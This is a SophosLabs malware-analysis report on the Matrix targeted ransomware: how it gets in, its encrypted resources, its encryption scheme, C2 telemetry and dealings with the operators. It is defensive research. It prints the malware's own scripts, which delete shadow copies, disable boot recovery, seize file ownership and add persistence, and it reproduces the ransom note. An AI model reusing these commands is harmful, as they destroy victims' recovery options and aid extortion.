MATRIX: A LOW-KEY TARGETED RANSOMWARE

By Luca Nagy, SophosLabs
Executive Summary

The ransomware we’re calling Matrix is another example of what SophosLabs has been observing as a growing trend within the criminal community to engage in active, targeted attacks against victim networks with the goal of delivering malware inside the victim’s network. This threat vector has been gaining prominence since the widely publicized SamSam ransomware began to capitalize on it. The malware is delivered, in most cases, by means of the attackers performing an active brute-force attack against the passwords for Windows machines accessible through a firewall that have the Remote Desktop Protocol (RDP) enabled.

The malware executable bundles within itself several payload executables it needs to accomplish its tasks. It uses RDP within the networks it has infected once it has gained a foothold inside the network. Among the embedded components are some free, legitimate systems administrator tools the malware uses to achieve some of its goals.

While the malware has been under continuous development and improvement while we have been monitoring it, the authors or operators of this malware do not appear to behave as professionally as, by comparison, the SamSam gang. They have made frequent mistakes along the way, some of which have been corrected, and other features implemented then abandoned. They do not always employ adequate operational security, which might be the cause of their eventual undoing.

The attackers have not limited themselves to a specific geographic region of the world. SophosLabs has obtained at least 96 samples, as well as telemetry data from Sophos products which encountered the malware and prevented it from operating. The country where the most customers encountered the malware was the United States (27.7% of Matrix detections came from the U.S.), followed by Belgium (16.7% of the detections). Machines running Sophos products also detected Matrix in Taiwan, Singapore, Germany, Brazil, Chile, South Africa, Canada, and the U.K.

Later versions of the ransomware include features which prevent the malware from fully executing if the victim’s machine language settings are configured to a range of languages from Russia and eastern European countries.

We received samples from customers who reported that the attackers made efforts to disable both the Sophos antivirus and exploit prevention technology.
While the number of attacks by the threat actors responsible for Matrix remains low, the malware itself shows characteristics of continuous development and gradual improvement over time. The characteristics that have changed over time include the addition of specific resource sections within the malware that contain, for example, Windows batch files or scripts the malware uses to accomplish specific tasks. The malware authors have also abandoned some notable features, such as the use of a ransom message early on that insinuates the malware's source is the U.S. Federal Bureau of Investigation. Early attacks used an exploit kit as a threat vector, but that has been completely subsumed by RDP brute-force techniques to infect vulnerable machines.

The attackers' ransom demands are not embedded within the ransom note. Atypically, the threat actors require victims to contact them first, and submit some of the encrypted files from the victim's computer, and only then provide the victims with a Bitcoin address and the ransom amount. When we posed as a victim and contacted the threat actors, they asked us to pay whatever the present day’s exchange rate value of $2,500 would be in Bitcoin, rather than a fixed amount of Bitcoin (and then only if we didn’t ask “stupid questions”). This may be due to the volatile exchange rate of Bitcoin to fiat currency. It was not immediately clear whether the threat actors charge more to clean up a whole network of infected devices. We also found that the authors initial sassy attitude eventually morphed to a kind of desperation, as they continued to email us and dropped their ransom demand by nearly a third after we stopped responding to their messages.
Targeted Ransomware Playbook

If an attack using “commodity” ransomware-as-a-service like GandCrab is akin to a smash-and-grab theft, targeted ransomware is equivalent to a cat burglar. Matrix appeared at around the same time as several other high-profile ransomware families, and the criminals who operated Matrix used the low hanging fruit of Remote Desktop on Windows as the vector for their infection, just like the attackers who wielded SamSam. We’ve contrasted Matrix with these other, more well-known players in the security space; While it’s clear that Matrix may be the runt of the litter, it is no less capable of causing damage [though more limited by its inability to spread laterally within an infected network] than its more well-equipped cousins.

<table>
<thead>
<tr>
<th></th>
<th>SamSam</th>
<th>Dharma</th>
<th>Matrix</th>
<th>BitPaymer</th>
<th>Ryuk</th>
<th>GandCrab</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Active</strong></td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>First appeared</strong></td>
<td>2015</td>
<td>2016</td>
<td>2016</td>
<td>2017</td>
<td>2018</td>
<td>2018</td>
</tr>
<tr>
<td><strong>Type</strong></td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
</tr>
<tr>
<td><strong>Infection vector</strong></td>
<td>RDP Exploit</td>
<td>RDP</td>
<td>RDP Exploit</td>
<td>RDP</td>
<td>RDP</td>
<td>RDP Email/Exploit</td>
</tr>
<tr>
<td><strong>Victim size</strong></td>
<td>Med/large</td>
<td>Small/med</td>
<td>Med/large</td>
<td>Med/large</td>
<td>Med/large</td>
<td>Any</td>
</tr>
<tr>
<td><strong>computers targeted</strong></td>
<td>Servers/endpoints</td>
<td>Servers</td>
<td>Any</td>
<td>Servers</td>
<td>Servers</td>
<td>Any</td>
</tr>
<tr>
<td><strong>Attack frequency</strong></td>
<td>Med</td>
<td>High</td>
<td>Low</td>
<td>Med</td>
<td>Med</td>
<td>High</td>
</tr>
<tr>
<td><strong>Regions affected</strong></td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
</tr>
<tr>
<td><strong>Decryption available</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Some variants</td>
</tr>
<tr>
<td><strong>Ransom currency</strong></td>
<td>Bitcoin</td>
<td>DASH</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
</tr>
<tr>
<td><strong>Avg.ransom</strong></td>
<td>$50k</td>
<td>$5k</td>
<td>$3.5K</td>
<td>$500k</td>
<td>$100k</td>
<td>$800</td>
</tr>
<tr>
<td><strong>Payment method</strong></td>
<td>Dark Web</td>
<td>Email</td>
<td>Email</td>
<td>Email</td>
<td>Dark Web</td>
<td>Email</td>
</tr>
</tbody>
</table>

SOPHOS
Matrix: A Low-Key Targeted Ransomware

Introduction

The emergence at the end of 2016 of a novel ransomware family we call Matrix seems to indicate the point in time when targeted attacks morphed from an anomaly (in which the SamSam threat actors played a leading role) into a malware trend. But while SamSam played for notoriety and large stakes, Matrix has been far more low key. That doesn't make it any less dangerous, however.

Attacks involving Matrix have been steady since it emerged, but the malware's distribution vector has changed over time. Where Matrix once relied on the RIG Exploit Kit to infect systems, the people who are distributing Matrix are now using a playbook that was pioneered, then refined, by the SamSam attackers. Namely, the attackers are breaking into victim organizations by abusing the Remote Desktop features in Windows to gain a foothold inside the targeted network. Unlike SamSam, they have not implemented the wormable features of the ETERNALBLUE exploit into their malware.

Newer variants of Matrix contain their own ability to scan the local network where they find themselves. These self-contained “Swiss Army knife” ransomware executables can use this functionality to find other potential victim computers. The authors/operators of the ransomware can then leverage that foothold to try to brute force the passwords to those other devices.

Once inside, the attackers employ a variety of methods to internally distribute the ransomware to vulnerable machines. The number of samples we’ve seen still only number fewer than 100, and as a result, we only see a very low volume of samples. However, we have been continuously seeing newer versions, which indicates that the ransomware developers are actively building newer features and improving upon the lessons learned in earlier attacks.

Network analysis shows that much of the malware’s C2 network used cloud infrastructure based in the Netherlands and the U.S., both hosts to many large datacenters, but a few of the domains and their C2 operation pointed directly to small ISPs hosted in other countries. The malware communicates telemetry data throughout the infection process; administrators who recognize the HTTP URI pattern could, in theory, recognize when an attack is underway.

The attackers behind Matrix curiously make their demand for cryptocurrency ransom in the form of a U.S. dollar value equivalent. This is unusual because most demands for cryptocurrency come in the form of a specific value in Bitcoin. It’s unclear whether the odd form of the ransom demand is a deliberate, though ham-fisted, attempt at misdirection, or just an attempt to surf the wildly fluctuating cryptocurrency exchange rates.

The details of this report were first published in conjunction with the BlackHoodie conference.
Matrix summary of functions and contents

There are several stages of a Matrix infection. We’ve chosen a single, canonical example of the ransomware (with the SHA-256 hash 13c0fd18c602dd6a71d78072ad6617a1871cf24b366a12c8c3f2f278f301f5c), first seen by Sophos on 17 April 2018 to highlight each step of the infection process.

In its more recent releases, the malware graciously produces prodigious and detailed console output when it is run from the command line.

Initialization

When the Matrix executable first runs, it dynamically resolves some DLL import functions, so it can use them later:

- ws2_32.dll: WSAIoctl, __WSAFDIsSet, closesocket, ioctlsocket, WSAGetLastError, WSAStartup, WSACleanup, accept, bind, connect, getpeername, getsockname, getsockopt, htonl, htons, inet_addr, inet_ntoa, listen, ntohl, ntohs, recv, recvfrom, select, send, sendto, setsockopt, shutdown, socket, gethostbyname, getprotobyname, getprotobynumber, getservbyname, getservbyport, gethostname, getaddrinfo, freeaddrinfo, getnameinfo
- kernel32.dll: InitializeConditionVariable, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariableCS
- wship6.dll: getaddrinfo, freeaddrinfo, getnameinfo

In general, SophosLabs treats an unknown executable with these kinds of imported functions as suspicious, because these kinds of API obfuscation techniques are common among a wide variety of malware.

There are two execution paths, which depend on the parameter passed to the executable when it’s run. Running the malware without any switch triggers it to engage in information collection, followed by file encryption. It creates a copy of itself with a random name and executes the copy with "-n" parameter.
When the malware runs with the "-n" switch, its primary focus is to scan the network and enumerate any shared folders. The discovery process loops through the NetShareEnum function using multiple threads (in order to make it faster). It compares the results with hardcoded strings [IPC$, print$, ADMIN$] to omit if that share is a printer share or administrative share.

Using a list of hardcoded file extensions for targets of hostile encryption, it searches for files with matching extensions and will encrypt those files on any shared folder it can access.

Notably, IPC$ and ADMIN$ provide remote access to the root directory of the system drive. Network worms have used those shares in the past to spread within the local network.

The program queries the system for two mutexes, also depending on whether the malware executable was run with or without the -n flag. If the sample was run with the "-n" switch, then it looks for a mutex of OurMainMutex999net; if it doesn’t exist, Matrix creates it.

![Figure 1: Matrix command functions looking for the -n parameter at execution](image)
Matrix: A Low-Key Targeted Ransomware

If the malware was running without any parameter, it does the same with the mutex name `OurMainMutex999`.

```
004CFF2B 8B 55 06      mov    edx, [ebp+arg_0]
004CFF29 8B 44 24 00   mov    ecx, offset a0urmainmutex99_0 ; "OurMainMutex999"
004CFF2E 8B 55 C4 00   call   Mutex_Open_Create
```

**Figure 2:** The hardcoded Matrix mutex when no parameter is used at execution time

**Information collection**

The malware, as expected, collects some information from the target machine. It extracts the computer name and user name (expanding the `%COMPUTERNAME%`, `%USERNAME%` environment variables with the use of `ExpandEnvironmentStringsW` function), and the major and minor OS version codes. It also queries the system integrity level – what level of permissions the active user account has on the machine – with the use of the functions `GetTokenInformation` and `GetSidSubAuthority`, and the OS language with the `GetUserDefaultUILanguage` function.

Some of these information queries, and their results, show up in console output that appears when the sample runs from the command line.

**Resources**

Like a giant tortoise, Matrix carries a large load of additional data. Its notably large resource section contains the bulk of the actionable intelligence one can extract from the ransomware executable, including some payloads the malware deploys at the direction of the threat actor.

These resources contain sensitive information about the operation of the ransomware. In order to obfuscate these resources, Matrix uses an encryption algorithm that, so far, has not proven to be particularly popular among the creators of ransomware: The ChaCha stream cipher. Matrix uses this algorithm with the constant “expand 32-byte k” option. ChaCha algorithm is very closely related to the Salsa20 algorithm used (we think coincidentally) in the Petya ransomware. We suspect Matrix’s creators chose ChaCha because it offers a greater degree of obfuscation than Salsa20 at a similar level of performance.

The sample used for this analysis contains the following named resources, listed here in alphabetical order, most of which are described in more detail below. The resource sections are labeled `CFG`, `CHAK`, `DSHC`, `DVCLAL`, `HTA`, `HX64`, `HX86`, `LLST MPUB`, `NDNF`, `PACKAGEINFO`, `PLATFORMTARGETS`, `PRL`, `RDM`, `TAKE`, `WALL`, and `WVBS`.

**CFG**

The CFG resource contains the file name of the ransom note, and the email addresses where victims can contact the authors. Until the end of 2018, the attackers also typically included an address from a chat service named “bitmsg.me,” but that service [and its associated Web domain] vanished in mid-December. In the newer variants this resource contains the (dark web) domain name as well, and the malware executables have their own ChaCha key and nonces scattered inside the resource, making the obfuscation stronger.
Figure 3: Matrix CFG resource, decrypted

**CHAK**

The CHAK resource (which has been renamed to KN in some newer variants) is the only resource that has not been encrypted or obfuscated.

The ChaCha20 algorithm, which Matrix also uses to encrypt the victim's data, consists of a constant, a key, and a nonce.

\[
\begin{align*}
&'expa' \quad 'nd 3' \quad '2-by' \quad 'te k' \\
&k_0 \quad k_1 \quad k_2 \quad k_3 \\
&k_4 \quad k_5 \quad k_6 \quad k_7 \\
nonce_0 \quad nonce_1 \quad nonce_2 \quad nonce_3
\end{align*}
\]

The malware uses the value of the CHAK resource as the key and as a nonce in the ChaCha matrix for the purposes of decrypting all the rest of the resources. In the analyzed sample, the CHAK resource contains:

\[
\text{WnXA8nP1Hr5Le5JNeMw5kLOjKiDhTgo0}
\]

Figure 4: CHAK resource contents

The ChaCha matrix before the resource decoding method:

\[
\text{0018F9B4 65 78 70 61 6E 64 20 33 32 20 62 79 74 65 20 6B} \quad \text{expand 32-byte k}
\]

Figure 5: A blank ChaCha matrix

Matrix uses a so called ChaCha QuarterRound function [described in detail at https://eprint.iacr.org/2017/1021.pdf] to generate the key stream.

Figure 6: The Matrix ransomware call of the ChaCha QuarterRound function
ChaCha is an “add-rotate-xor,” or ARX, encryption method, so the QuarterRound function uses modular addition, rotation, and XOR operations. These instructions provide fast performance. Later, it XORs the key stream with the content of the resource sections:

\[
\text{cipher_text} = \text{plain_text} \oplus \text{chacha_stream}(\text{key}, \text{nonce})
\]

\[
\text{plain_text} = \text{cipher_text} \oplus \text{chacha_stream}(\text{key}, \text{nonce})
\]

Figure 7: Matrix’s stream cipher decryption code, used to decrypt the rest of the functions

(Editor’s note: The author has published her python script used to automate decoding Matrix resources at https://github.com/lucanag/matrix_res_dec)

**DSHC**

Matrix uses the content of the DSHC resource to set registry keys that automatically display the ransom note, and delete the operating system’s Volume Shadow Copies, which prevents easily recovering the encrypted data.

Both steps are achieved by the following single command:

```
CommandLine = “C:\Windows\system32\cmd.exe” /C reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v README /t REG_SZ /d “%ProgramFiles%\Windows NT\Accessories\wordpad.exe” /”C:\Users\user\AppData\Roaming\#Decrypt_files_ReadMe#.rtf” /f & WMIC.exe shadowcopy delete /nointeractive & vssadmin.exe delete shadows /all /quiet.
```

Figure 8: Matrix runs a lot of commands in a single command line, for efficiency
Matrix: A Low-Key Targeted Ransomware

Depending on the integrity level of the victim’s computer, Matrix chooses to use either the “Local Machine” or “Current User” registry hive.

```
04D8131 cmp ds:sid_info, 3
04D8138 jle loc_4D81E3
```

Figure 9: Matrix chooses the correct registry hive for malicious use based on user permissions

In the latest variants of Matrix, there is an additional resource, labeled RB, which contains an embedded .vbs file.

```
Option Explicit
dim W
Set W = CreateObject("Wscript.Shell")
W.Run "cmd.exe /C schtasks /Create /tn DSHCA /tr ""C:\Users\user\AppData\Roaming\<dropped-malicious>.bat"" /sc minute /mo 5 /RL HIGHEST /F", 0, True
W.Run "cmd.exe /C schtasks /Run /I /tn DSHCA", 0, False
```

The .vbs file creates a scheduled task named DSHCA, which runs a .bat file from the user’s Roaming profile folder every five minutes. The ransomware drops the batch file from a resource labeled DS; It removes the Volume Shadow Copies, and disables Windows’ self-repair functions.

```
vssadmin Delete Shadows /All /Quiet
wmic SHADOWCOPY DELETE
powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
del /f /q "C:\Users\user\AppData\Roaming\<dropped-malicious>.vbs"
SCHTASKS /Delete /TN DSHCA /F
del /f /q %0
```

These actions are fairly common among ransomware, as they make it far more difficult to recover the user’s files after they’ve been encrypted. The batch file then deletes the .vbs file and the scheduled task, and then itself.

**HTA**

Some older variants of Matrix contain a resource labeled HTA. This resource contains an .hta file that, when opened, displays a ransom note that implies the attacker works for the FBI and that the ransom demand is a “penalty,” and not merely an act of criminal extortion.
Matrix: A Low-Key Targeted Ransomware

**HX64 and HX86**

Matrix contains an embedded version of the free Windows Sysinternals tool Handle ([https://docs.microsoft.com/en-us/sysinternals/downloads/handle](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)) in each of these resource sections. Depending on whether the victim's system architecture is 32-bit or 64-bit, it drops the appropriate version from either the HX64 or HX86 resource.

“Handle is a utility that displays information about open handles for any process in the system,” according to the description of the tool from Microsoft’s website. Matrix uses Handle to get access to every file to encrypt (see the details, later), even if the file is in use by another application. Matrix drops the Handle payload as a file with a name that has been randomly, dynamically generated using the output of the `GetTickCount` and `QueryPerformanceCounter` functions.

As a side note, Matrix also uses these same methods to generate random names for the victim’s encrypted files, for the other dropped payload files [e.g. the .vbs, or .cmd files], and to create a unique user ID. In newer variants of Matrix, the author(s) have packed the Handle executable with UPX, and stored the modified version in a resource labeled HN.
Matrix: A Low-Key Targeted Ransomware

**LLST**

Literally a language list. The LLST resource is a list of language identifier codes. The ransomware seems to avoid infecting operating systems on which these language sets are used or installed.

![LLST Resource Contents](image)

In the latest variants (from November, 2018) an LCWL resource is used to index the language IDs. The 1092 Azeri – Cyrillic and 1068 Azeri – Latin have been cut from the list and the following new IDs are appended:

- 2072: Romanian - Moldova
- 2073: Romanian - Romania
- 1064: Tajik
- 1090: Turkmen
- 1079: Georgian
- 1062: Lithuanian
- 1063: Lithuanian
Matrix: A Low-Key Targeted Ransomware

**MPUB**

Matrix extracts an RSA-1536 public key from the MPUB resource. The ransomware uses this key during the file encryption phase of the attack.

```
02421070 1536 ..547451865AB8944180950D77EC
02421090 BDE02D1ED00F2A7064456DE25C87CCA
024210B0 27CB266F737F6D58894D82CA734FCA
024210D0 724BE4EB374C9FDE3BBFE0CFBB0D5EE7
024210F0 55369F2567FB10954159C6448ED6019
02421110 CDF6A9C20B57514423E46AFBB82E0
02421130 9158F5CC29AF676AD92C3321D616EA
02421150 9137D6CADE67CD406F45D8BCEF14A154
02421170 D099DC12DBCAD014255787B2DF7DD87B
02421190 191FB171F738F9866D88C13540AF7A6F
024211B0 D75B8E9C9618C8C43F9ACE22FD8C122
024211D0 593E336FF28EB64F87263043BF013CE2
024211F0 9A66AB ..00100001............
```

*Figure 13: MPUB contains the RSA-1536 public key used to encrypt files*

**NDNF**

The NDNF resource contains a list of file extensions and directory names. The malware uses the list to indicate which files or folder paths will be excluded from encryption during the malicious-encryption phase of the attack.

```
008741F0 [NF_START] ..LST ..EXE ..LNK ..HTA ..
00874210 PEK ..SEK ..UBS ..CMD ..TMP ..ICO ..00
00874230 0 ..SYS ..RTF ..INF ..DLL ..REG ..DRU ..
00874250 .DEV ..KLST ..[NF_END] ..[ND_START] ..
00874270 ..WIND ..\GAMES ..\APPDATA ..
00874290 APPLIC ..\LOCAL SETTING
008742B0 GS ..\TEMP ..\BOOT ..\MSOCACHE ..
008742D0 ..DEFAULT USER ..\SAMPLE ..\EXAMPLE
008742F0 LE ..\138 ..\TEMPORARY ..\TOR BROW
00874310 SER ..[ND_END] ............
```

*Figure 14: The NDNF resource contains the whitelist of files and directories*

Beginning around June of 2018, the list began to include folder names used by various endpoint antivirus products. We suspect that’s been done to evade the detection caused by encrypting any of these folders:

`\MALWAREBYTES`  
`\ESET`  
`\SYMANTEC ENDPOINT`  
`\TREND MICRO\`  
`\BITDEFENDER\`  
`\MCAFEE\`
By mid-September, the attackers had expanded this list to include folders named:

\PANDA SECURITY
\KASPERSKY LAB
\KASPERSKYLAB
\AVDEFENDER
\SOPHOS
\AVG
\AVAST

It’s worth mentioning that the act of merely not encrypting the \SOPHOS folder path has no effect on our ability to detect or prevent the malicious activity.

**PRL**

The PRL resource contains a list of the file extensions that will be targeted for encryption by the ransomware. (A full list of these targeted extensions appears at the end of this report in the IoCs section.)

```
01F6EB60 MDF...LDF...MYD...EQL...SQL...FD
01F6EBB0 B..VHD..SQLITE..SQLITE3..SQLITED
01F6EBB0 B..BAK..TIB..DBS..DB..DBK..DB2..
01F6EBC0 DB3..DBC..XLSX..XLS..PST..UPD..C
01F6EBE0 ER..CERT..CSR..PEM..KEY..1CD..DT
01F6EC00 ..DBS..DBF..DBX..MDB..SDF..NDF..
01F6EC20 NS2..NS3..NS4..NSF..ACCDB..DOCX..
01F6EC40 ..DOC..DWG..CDR..ODS..ODT..PDF..T
01F6EC60 XT..JPG..JPEG..PSD..ZIP..RAR..7Z
```

*Figure 15: The PRL is a list of file extensions targeted for encryption*

**RDM**

The RDM resource contains the ransom note, in the form of an RTF file called #Decrypt_files_ReadMe#.rtf. The ransomware automatically adds the email addresses and (in versions prior to the bitmsg.me service shutting down) the Bitmsg instant messaging account address from the CFG resource to the ransom note, along with the victim’s unique identifier.

During the malicious-encryption phase of the attack, Matrix writes a copy of this file to every folder. The files also notably contain a “hidden” block of text (formatted in white letters on a white background), that’s different in every copy of the ransom note on the machine, at the end of the ransom note. We don’t understand why the creators did this – it doesn’t make sense.

Finally, the ransom note will be saved to the Users\$USER$\AppData\Roaming\directory as well. After it writes the status to the console: *SavingReadme...Done!*. 
Matrix: A Low-Key Targeted Ransomware

WHAT HAPPENED WITH YOUR FILES?

Your documents, databases, backups, network folders and other important files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

It means that you will not be able to access them anymore until they are decrypted with your personal decryption key! Without your personal key and special software data recovery is impossible! If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely.

=================================
You reply want to restore your files? Please write us to the e-mails:
oken@lutanora.com
okan6@nuver.com
okan6@yahoo.com

in subject line of your message write your personal ID:
22637A523AF627DA

We recommend you to send your message ON EACH OF OUR 3 EMAILS, due to the fact that the message may not reach their intended recipient for a variety of reasons.

=================================
if you prefer live messaging you can send us bitmessages from a web browser through the webpage https://bitmsg.me. Below is a tutorial on how to send bitmessage via web browser:

1. Open in your browser the link https://bitmsg.me/users/sign up and make the registration by entering name email and password.
2. You must confirm the registration, return to your email and follow the instructions that were sent to you.
3. Return to site and click ”Login” label or use link https://bitmsg.me/users/sign in, enter your email and password and click the ”Sign in” button.
4. Click the ”Create Random address” button.
5. Click the ”New message” button.

Sending message:
To: Enter address: BM:2V9pIkD92vtx5jK2uS9pqx88f84K20pAr
Subject: Enter your ID: 22637A523AF627DA
Message: Describe what you think necessary.

Click the ”Send message” button.

Please, write us in English or use professional translator!

If you want to restore your files, you have to pay for decryption in bitcoins or with other top cryptocurrency.

The price depends on how fast you write to us!

Your message will be as confirmation you are ready to pay for decryption key. After the payment you will get the decryption tool with instructions that will decrypt all your files including network folders.

To confirm that we can decrypt your files you can send us up to 3 files for free decryption. Please note that files for free decryption must NOT contain any valuable information and their total size must be less than 5MB.

You have to respond as soon as possible to ensure the restoration of your files, because we won’t keep your decryption keys at our server more than one week in interest of our security.

Note that all the attempts of decryption by yourself or using third party tools will result only in irrevocable loss of your data.

If you did not receive the answer from the restored emails for more than 6 hours, please check SPAM folder!

If you did not receive the answer from the restored emails for more than 12 hours, please try to send your message with another email service!

If you did not receive the answer from the restored emails for more than 24 hours (even if you have previously received answer from us), please try to send your message with another email service to each of our 3 emails!

And don’t forget to check SPAM folder!

Figure 16: A typical Matrix ransom note, including the now-deprecated instructions for the bitmsg.me service

And don’t forget to check SPAM folder!

Figure 17: Matrix ransom notes contain “hidden” text (white text on a white background)

TAKE

The TAKE resource contains the contents of a Windows shell .cmd file that attempts to forcibly take control of ownership over a file, as well as a hardcoded, randomized name for the HANDLE.EXE utility and the current file path to encrypt, which the malware requires. The Matrix ransomware drops and executes this the extracted Sysinternals tool in order to kill any open handles to a file, which might prevent one or more of the victim’s files from being encrypted.
Matrix: A Low-Key Targeted Ransomware

```plaintext
@echo off
attrib -R -A -S %1
cacls %1 /E /G %USERNAME%:F /C
takeown /F %1
FOR /F "UseBackQ Tokens=3,6 delims=: " %%i IN (`"C:\<path-to-handle.exe>" -accepteula %~n1 -nobanner`) DO ( "C:\<path-to-handle.exe>" -accepteula -c %%%j -y -p %%%i -nobanner &
taskkill /t /f /PID %%%i )
```

**Figure 18: Use of the TAKE resource invokes a number of Windows system processes**

The TAKE resource requires, as a parameter, the randomized name of the modified HANDLE.EXE utility. It starts an attrib process to clear the file Read-Only, Archive, or System-File attributes to access the file. Then it modifies the DACL of the file with the cacls process to get full control, and continue on access denied errors. With the takeown it recovers access to the file. Then in a loop it uses the extracted Sysinternals tool (named qNNZTqIo.exe in the example shown above) in order to kill all open handles to the process so it can encrypt the file.

**WALL**

The WALL resource contains an image file that is assigned to the desktop wallpaper after system boot. The text contents of this image file mimic the text of the ransom note.

```
All your files were encrypted with RSA-2048 crypto algorithm!
Without your personal key and special software data recovery is impossible.
If you want to restore your files, please write us to the e-mails:
oken@tutanota.com
oken5@naver.com
oken80@yahoo.com

* Additional info you can find in files: #Decrypt_files_ReadMe#.rtf

17
```

**Figure 19: Another WALL nobody wants**
WVBS

From the WVBS resource a .vbs file is extracted which can set some registry values in order to set the wallpaper.

```vbs
FileName = "C:\Users\user\AppData\Roaming\0pdbwhYlg5mwW02.jpg"
Set WshShell = WScript.CreateObject("Wscript.Shell")
WshShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", FileName
WshShell.RegWrite "HKCU\Control Panel\Desktop\WallpaperStyle", 0
WshShell.Run "%SystemRoot%\System32\RUNDLL32.EXE user32.dll,Update PerUserSystemParameters", 0, True
```

Then it executes it with the `CreateProcessW` function with the argumentum of 
```
CommandLine=""Wscript.exe" /B /Nologo "C:\Users\user\AppData\Roaming\kwFO9RWGFtdronuj.vbs""
```

What happens during a Matrix attack

Network breach in real time

An unknown threat actor performs a manual, targeted break-in of the victim network, most likely using an exposed Windows machine with RDP accessible through the firewall. The attacker uses brute force or exploit techniques to access a foothold computer.

One hypothesis that has not been tested is that the attackers may use the detailed console output during the attack to remotely determine which machines inside the network might be accessible over RDP from the infected “foothold” machine, and to perform manual RDP brute-force against the other internal machines.

Pre-encryption process

Before encryption begins, Matrix enumerates the drives to build a list of what’s to be encrypted. It targets removable, fixed, and remote drives.

![Figure 20: Iterate through the drives](image-url)
List-building happens by means of a recursive directory scan. During the scan, the malware checks whether the target is a folder or a file and compares that against the hardcoded directory names extracted from the NDNF resource. It counts the files that will be encrypted and calculates the sum of the file sizes.

The encryption begins

To start the file encryption, Matrix uses the CryptGenRandom function to create a 40 byte long random value. The malware uses this value in the ChaCha algorithm as both the key and the nonce.

Next, the malware repeatedly uses the *QuarterRound* function of the ChaCha algorithm (in counter mode) to generate as many keys and nonce pairs as the number of files on the victim's computer. It uses these pairs to encrypt the files again, using ChaCha.

Matrix's authors are very protective of the encryption keys, for good reason. While it's running, the malware generates a brand new RSA-1024 key and uses that dynamically-created key in combination with the RSA-1536 key we previously extracted from the MPUB resource, to encrypt the ChaCha keys.

Encrypted files contain some extra information added by the malware: the ChaCha key and nonce (encrypted by the RSA-1024 public key), the RSA-1024 private key (encrypted by the RSA-1536 public key), file size, and the original file name (newer versions don't encrypt the file name).
Matrix: A Low-Key Targeted Ransomware

Figure 23: The moment when your file goes bye-bye

After the encryption, it uses MoveFileExW to rename the encrypted files. An example of the new filename: A8QdEDrL-k9EukmQp.[EMAIL@EMAIL.TLD].

As previously mentioned, the malware produces prodigious useful console output. Case in point: the malware helpfully tracks the encryption progress.

Figure 24: Just let me know when you’re done

Subsequent versions of Matrix show the console output changes over time, indicating an active developer who doesn’t seem all that concerned about opsec, or doesn’t need to be. This version below groups the progress into subcategories of file sizes:

Figure 25: Progress organized by the size-ranges of the victim’s files

The big finish

Once the malware runs through every encryptable file, it runs a small .cmd file. The file uses a tool called cipher.exe to overwrite deleted data on all the connected drives, rendering it (hypothetically) permanently unrecoverable. At the very least, it makes it much harder to even partially recover deleted data.

Figure 26: Very simple command with profound effect
Some variants uses a CLR resource in order to delete the .cmd files. The cleaners clean themselves:

```plaintext
ping -n 7 localhost
del /f /q "[SELF_PATHNAME]"
del /f /q "[SEC_PATH]*.vbs"
del /f /q "[SEC_PATH]*.cmd"
```

**Decryption**

One of this author’s YARA rules found a decryption tool to the Matrix ransomware. The decryptor shares a list of resource names with the ransomware itself.

The decryption tool, when run, looks for a specially-crafted file which contains the runtime-generated RSA-1024 private key of the victim – a value appended to each of the encrypted files. Clearly, the attackers already have the RSA-1536 private key, paired to the public key they hardcoded in the MPUB resource.

![Image of decryption tool output]

*Figure 27: The decryptor also produces useful text output*
Communication with the CnC server

The malware transmits information to its command-and-control server about the victims, and real-time status updates about the current phase of the attack.

Figure 28: Some of the C&C traffic went to countries other than the US or Netherlands. Graph courtesy of VirusTotal

We saw URLs that follow a general paradigm that looks like:

http://malicious-domain/add[.]php?apikey=KEY&compuser=[computername]|[username]&sid=[sid]&phase=START

Following the scan for vulnerable files, and before it begins the encryption process, the malware sends a slightly modified command request:

With each development cycle of new versions, the malware transmits increasing amounts of information. We have observed following network communication:

![Network Traffic](image)

*Figure 29: The command and control traffic is unencrypted*

**What happens when you pay the Matrix attackers?**

The ransom note recommends that the victim contacts the attackers directly. For most of Matrix’s existence, the authors used a cryptographically-protected anonymous instant messaging service, called bitmsg.me, but that service has been discontinued and the authors have reverted to using normal email accounts.

The ransom note goes on to warn the victim that they need to contact all three addresses, just to be sure it gets through.

If you make contact with the attackers, they ask you to send them some of the encrypted files. Since each encrypted data file contains the victim’s RSA-1024 private key, they can extract that value and test the decryption. The unique “victim identifier” is what ties the victim to the corresponding RSA-1536 private key used in the attack.

The email replies we’ve seen were, curiously, timestamped in the Pacific time zone, which covers the west coast of Canada, the U.S., and Mexico. That may be the result of the Matrix operators using a VPN service to connect to this region, or merely a result of the use of specific time zone settings in the accounts. As noted in the screenshots and IoC section below, the attackers have been using free services such as those offered by 000webhost, Yahoo, Tutanota, Naver, or QQ to communicate with victims.
Figure 30: A no-nonsense “for test decrypt as guarantee” email

The attackers appear to be able to decrypt small numbers of files manually, but they required the KEYIDS.KLST file in order to process a full decryption of the victim’s computer. Only after you’ve provided this file will the attackers tell you the Bitcoin address you need to pay the ransom.

The attacker demands a ransom of whatever the Bitcoin exchange rate equivalent of $2,500 is in the initial 24 hours after infection (and in the absence of what the attacker described as “stupid questions”), rising by $1,000 after that. It is notable that the attackers specify the dollar equivalent value in Bitcoin and not a specific quantity of Bitcoin.

The one Bitcoin address (https://www.blockchain.com/en/btc/address/a7ecb61b2821828571a15974868e79939c7185b3) that we are aware the attackers have been using has not, to date, received any payments.

Figure 31: We can decrypt your data for cheaper “without any stupid questions”
